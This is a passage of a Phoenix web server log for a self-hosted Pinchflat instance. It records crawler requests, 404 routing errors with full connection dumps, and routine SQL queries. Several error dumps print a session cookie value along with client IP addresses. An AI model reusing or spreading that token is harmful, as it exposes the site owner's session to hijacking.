compatible; GPTBot/1.3; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.227.179", "x-forwarded-host" => "pinchflat.oddbox.tech", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "srv1511474", "x-openai-host-hash" => "835649437", "x-real-ip" => "74.7.227.179" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.oddbox.tech", method: "GET", owner: #PID<0.4616.0>, params: %{}, (truncated) 20:42:45.606 [info] {"source":"oban","duration":946,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:43:00.464 [info] {"source":"oban","duration":393,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:43:15.608 [info] {"source":"oban","duration":1160,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:43:23.353 [info] GET /sources/1/force_metadata_refresh 20:43:23.355 [debug] QUERY OK source="settings" db=1.7ms idle=1743.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:43:23.355 [debug] QUERY OK source="settings" db=0.3ms idle=1745.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:43:23.355 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 20:43:23.356 [error] #PID<0.4623.0> running PinchflatWeb.Endpoint (connection #PID<0.4622.0>, stream id 1) terminated Server: pinchflat.oddbox.tech:80 (http) Request: GET /sources/1/force_metadata_refresh ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/1/force_metadata_refresh (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.4622.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/1/force_metadata_refresh", host: "pinchflat.oddbox.tech", peer: {{172, 18, 0, 1}, 55182}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "connection" => "Upgrade", "from" => "gptbot(at)openai.com", "host" => "pinchflat.oddbox.tech", "referer" => "https://pinchflat.oddbox.tech/sources/1", "upgrade" => "websocket", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.227.179", "x-forwarded-host" => "pinchflat.oddbox.tech", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "srv1511474", "x-openai-host-hash" => "835649437", "x-real-ip" => "74.7.227.179" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.oddbox.tech", method: "GET", owner: #PID<0.4623.0>, params: %{}, path_info: ["sources", "1", "force_metadata_refresh"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.oddbox.tech", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 1}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, br, deflate"}, {"connection", "Upgrade"}, {"from", "gptbot(at)openai.com"}, {"host", "pinchflat.oddbox.tech"}, {"referer", "https://pinchflat.oddbox.tech/sources/1"}, {"upgrade", "websocket"}, {"user-agent", "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)"}, {"x-forwarded-for", "74.7.227.179"}, {"x-forwarded-host", "pinchflat.oddbox.tech"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "srv1511474"}, {"x-openai-host-hash", "835649437"}, {"x-real-ip", "74.7.227.179"} ], request_path: "/sources/1/force_metadata_refresh", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GJ8M8AzCTe4X1l0AAFHB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.4622.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/1/force_metadata_refresh", host: "pinchflat.oddbox.tech", peer: {{172, 18, 0, 1}, 55182}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "connection" => "Upgrade", "from" => "gptbot(at)openai.com", "host" => "pinchflat.oddbox.tech", "referer" => "https://pinchflat.oddbox.tech/sources/1", "upgrade" => "websocket", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.227.179", "x-forwarded-host" => "pinchflat.oddbox.tech", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "srv1511474", "x-openai-host-hash" => "835649437", "x-real-ip" => "74.7.227.179" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/1/force_metadata_refresh (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.4622.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/1/force_metadata_refresh", host: "pinchflat.oddbox.tech", peer: {{172, 18, 0, 1}, 55182}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "connection" => "Upgrade", "from" => "gptbot(at)openai.com", "host" => "pinchflat.oddbox.tech", "referer" => "https://pinchflat.oddbox.tech/sources/1", "upgrade" => "websocket", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.227.179", "x-forwarded-host" => "pinchflat.oddbox.tech", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "srv1511474", "x-openai-host-hash" => "835649437", "x-real-ip" => "74.7.227.179" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.oddbox.tech", method: "GET", owner: #PID<0.4623.0>, params: %{}, (truncated) 20:43:45.611 [info] {"source":"oban","duration":1881,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:44:00.466 [info] {"source":"oban","duration":368,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:44:15.613 [info] {"source":"oban","duration":936,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:44:25.908 [info] GET /sources/1/media/411/edit 20:44:25.909 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "411", "source_id" => "1"} Pipelines: [:browser] 20:44:25.910 [debug] QUERY OK source="media_items" db=0.7ms idle=1277.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [411] 20:44:25.910 [debug] QUERY OK source="settings" db=0.1ms idle=300.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:44:25.911 [debug] QUERY OK source="settings" db=0.2ms idle=300.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:44:25.911 [debug] QUERY OK source="settings" db=0.2ms idle=301.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:44:25.912 [info] Sent 200 in 3ms 20:44:45.615 [info] {"source":"oban","duration":1129,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:45:00.468 [info] {"source":"oban","duration":813,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:45:15.617 [info] {"source":"oban","duration":1036,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:45:29.858 [info] GET /sources/1/media/1/force_download 20:45:29.859 [debug] QUERY OK source="settings" db=0.5ms queue=0.1ms idle=247.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:45:29.860 [debug] QUERY OK source="settings" db=0.8ms idle=248.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:45:29.860 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 20:45:29.861 [error] #PID<0.4638.0> running PinchflatWeb.Endpoint (connection #PID<0.4637.0>, stream id 1) terminated Server: pinchflat.oddbox.tech:80 (http) Request: GET /sources/1/media/1/force_download ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/1/media/1/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.4637.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/1/media/1/force_download", host: "pinchflat.oddbox.tech", peer: {{172, 18, 0, 1}, 52410}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "connection" => "Upgrade", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYVXVuZDdldFFoTk1lOF9xcTZDWmVSREtf.xUXuPq9j5RqLQBRosK8A_Fzz8PKhH8Ctt6EBGyYIMnk", "from" => "gptbot(at)openai.com", "host" => "pinchflat.oddbox.tech", "referer" => "https://pinchflat.oddbox.tech/sources/1/media/1", "upgrade" => "websocket", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.227.179", "x-forwarded-host" => "pinchflat.oddbox.tech", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "srv1511474", "x-openai-host-hash" => "835649437", "x-real-ip" => "74.7.227.179" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYVXVuZDdldFFoTk1lOF9xcTZDWmVSREtf.xUXuPq9j5RqLQBRosK8A_Fzz8PKhH8Ctt6EBGyYIMnk" }, halted: false, host: "pinchflat.oddbox.tech", method: "GET", owner: #PID<0.4638.0>, params: %{}, path_info: ["sources", "1", "media", "1", "force_download"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.oddbox.tech", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 1}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYVXVuZDdldFFoTk1lOF9xcTZDWmVSREtf.xUXuPq9j5RqLQBRosK8A_Fzz8PKhH8Ctt6EBGyYIMnk" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, br, deflate"}, {"connection", "Upgrade"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYVXVuZDdldFFoTk1lOF9xcTZDWmVSREtf.xUXuPq9j5RqLQBRosK8A_Fzz8PKhH8Ctt6EBGyYIMnk"}, {"from", "gptbot(at)openai.com"}, {"host", "pinchflat.oddbox.tech"}, {"referer", "https://pinchflat.oddbox.tech/sources/1/media/1"}, {"upgrade", "websocket"}, {"user-agent", "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)"}, {"x-forwarded-for", "74.7.227.179"}, {"x-forwarded-host", "pinchflat.oddbox.tech"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "srv1511474"}, {"x-openai-host-hash", "835649437"}, {"x-real-ip", "74.7.227.179"} ], request_path: "/sources/1/media/1/force_download", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GJ8NDYERCghcHw8AADpi"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.4637.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/1/media/1/force_download", host: "pinchflat.oddbox.tech", peer: {{172, 18, 0, 1}, 52410}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "connection" => "Upgrade", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYVXVuZDdldFFoTk1lOF9xcTZDWmVSREtf.xUXuPq9j5RqLQBRosK8A_Fzz8PKhH8Ctt6EBGyYIMnk", "from" => "gptbot(at)openai.com", "host" => "pinchflat.oddbox.tech", "referer" => "https://pinchflat.oddbox.tech/sources/1/media/1", "upgrade" => "websocket", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.227.179", "x-forwarded-host" => "pinchflat.oddbox.tech", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "srv1511474", "x-openai-host-hash" => "835649437", "x-real-ip" => "74.7.227.179" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/1/media/1/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.4637.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/1/media/1/force_download", host: "pinchflat.oddbox.tech", peer: {{172, 18, 0, 1}, 52410}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "connection" => "Upgrade", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYVXVuZDdldFFoTk1lOF9xcTZDWmVSREtf.xUXuPq9j5RqLQBRosK8A_Fzz8PKhH8Ctt6EBGyYIMnk", "from" => "gptbot(at)openai.com", "host" => "pinchflat.oddbox.tech", "referer" => "https://pinchflat.oddbox.tech/sourc (truncated) 20:45:45.619 [info] {"source":"oban","duration":1172,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:46:00.470 [info] {"source":"oban","duration":394,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:46:15.621 [info] {"source":"oban","duration":929,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:46:26.717 [info] GET /sources/1/media/3/edit 20:46:26.717 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "3", "source_id" => "1"} Pipelines: [:browser] 20:46:26.718 [debug] QUERY OK source="media_items" db=0.6ms idle=1105.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [3] 20:46:26.719 [debug] QUERY OK source="settings" db=0.4ms idle=1106.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:46:26.719 [debug] QUERY OK source="settings" db=0.6ms idle=1106.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:46:26.720 [debug] QUERY OK source="settings" db=0.3ms idle=1107.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:46:26.721 [info] Sent 200 in 4ms 20:46:45.624 [info] {"source":"oban","duration":1695,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:47:00.472 [info] {"source":"oban","duration":317,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:47:15.626 [info] {"source":"oban","duration":1246,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:47:27.875 [info] GET /sources/1/media/2/edit 20:47:27.875 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "2", "source_id" => "1"} Pipelines: [:browser] 20:47:27.876 [debug] QUERY OK source="media_items" db=0.6ms idle=1263.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [2] 20:47:27.876 [debug] QUERY OK source="settings" db=0.2ms idle=827.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:47:27.877 [debug] QUERY OK source="settings" db=0.2ms idle=264.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:47:27.878 [debug] QUERY OK source="settings" db=0.5ms idle=265.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:47:27.879 [info] Sent 200 in 4ms 20:47:45.628 [info] {"source":"oban","duration":817,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:48:00.474 [info] {"source":"oban","duration":495,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:48:15.630 [info] {"source":"oban","duration":820,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:48:25.309 [info] GET /sources/1/media/5/edit 20:48:25.309 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "5", "source_id" => "1"} Pipelines: [:browser] 20:48:25.310 [debug] QUERY OK source="media_items" db=0.7ms idle=1697.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [5] 20:48:25.312 [debug] QUERY OK source="settings" db=0.4ms queue=0.6ms idle=1698.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:48:25.313 [debug] QUERY OK source="settings" db=0.4ms queue=0.2ms idle=1.7e3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:48:25.313 [debug] QUERY OK source="settings" db=0.3ms idle=1132.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:48:25.315 [info] Sent 200 in 5ms 20:48:45.632 [info] {"source":"oban","duration":992,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:48:59.814 [info] GET / 20:48:59.814 [debug] Processing with PinchflatWeb.Pages.PageController.home/2 Parameters: %{} Pipelines: [:browser] 20:48:59.815 [debug] QUERY OK source="settings" db=0.6ms idle=1202.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:48:59.815 [debug] QUERY OK source="media_profiles" db=0.4ms idle=1203.0ms SELECT count(m0."id") FROM "media_profiles" AS m0 [] 20:48:59.816 [debug] QUERY OK source="sources" db=0.1ms idle=1203.6ms SELECT count(s0."id") FROM "sources" AS s0 [] 20:48:59.817 [debug] QUERY OK source="media_items" db=0.6ms idle=565.0ms SELECT sum(m0."media_size_bytes") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 20:48:59.817 [debug] QUERY OK source="media_items" db=0.3ms idle=204.7ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 20:48:59.818 [debug] QUERY OK source="settings" db=0.5ms idle=2.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:48:59.819 [debug] QUERY OK source="settings" db=0.5ms idle=2.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:48:59.820 [debug] QUERY OK source="settings" db=0.5ms idle=3.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", 